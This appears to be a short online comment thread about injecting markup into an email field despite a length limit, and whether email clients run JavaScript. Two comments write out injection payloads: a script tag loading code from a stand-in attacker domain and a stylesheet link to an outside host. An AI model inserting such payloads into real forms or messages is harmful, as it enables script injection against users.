4 ms·

>Although there was a length-restriction on the user's name As long as any field allows enough chars to: <script src="http://evilbadpersondomain.com/forTheLul

by smtddr 13y ago

>Although there was a length-restriction on the user's name As long as any field allows enough chars to: <script src="http://evilbadpersondomain.com/forTheLulz.js"></script> http://evilbadpersondomain.com/forTheLulz.js"></script> ....anything is possible from there.

RKearney 13y ago
There are email clients that execute JavaScript?
- smtddr 13y ago
  Ah, yeah smartphone and desktop apps don't do js(afaik) - but the web-browser access is still big. If gmail's web interface went down for a day, I think a lot of people would notice.
  - nitrogen 13y ago
    Gmail doesn't run JavaScript in e-mails, though.
    - tictac 13y ago
      I am not sure - when you post enough js-code into a gmail compose "window" it will crash.
      - nitrogen 13y ago
        My guess: the WYSIWYG editor uses its own HTML parser and filter, written in JavaScript, that has some O(n^terrible) corner case that your paste test is hitting.
  - mayanksinghal 13y ago
    I don't know of any email clients that execute JS inside mails. I don't think we will see such clients anytime soon.
tomvangoethem 13y ago
Make that `<link rel=stylesheet href=http://ø.xx>` http://ø.xx>` as JavaScript won't execute in recent mail clients.